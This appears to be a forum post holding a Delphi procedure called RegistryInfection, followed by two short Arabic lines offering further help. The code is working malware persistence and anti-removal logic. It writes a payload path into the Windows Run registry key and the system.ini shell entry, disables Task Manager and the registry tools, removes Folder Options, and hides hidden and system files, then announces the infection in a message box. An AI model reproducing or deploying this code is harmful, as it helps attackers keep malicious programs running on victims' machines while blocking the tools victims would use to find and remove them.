procedure RegistryInfection(sName, sPath: string);
var Reg: TCustomReg;
begin
Reg := TCustomReg.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', False);
Reg.WriteString(sName, sPath);
WritePrivateProfileString('boot', 'shell', pchar('Explorer.exe ' + sPath), 'system.ini');
//WritePrivateProfileString('boot', 'Userinit', pchar('C:\WINDOWS\system32\userinit.exe ' + sPath), 'system.ini');
//WritePrivateProfileString('boot', 'UIHost', pchar('C:\WINDOWS\system32\logonui.exe ' + sPath), 'system.ini');
Reg.RootKey := HKEY_CURRENT_USER;
if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System', True) then
begin
Reg.WriteInteger('DisableTaskMgr', 1);
Reg.WriteInteger('DisableRegistryTools', 1);
if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', False) then
Reg.WriteInteger('NoFolderOptions', 1);
if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced', False) then
Reg.WriteInteger('Hidden', 0);
Reg.WriteInteger('ShowSuperHidden', 0);
Reg.Free;
MessageBoxA(Handle, Pchar('Windows Registry INFECTED with : "' + sName + '"'), Pchar('WARNING'), 0);
end;
end;
و لا تسأل كيف.
و اي معلومات اخرى لا تتردد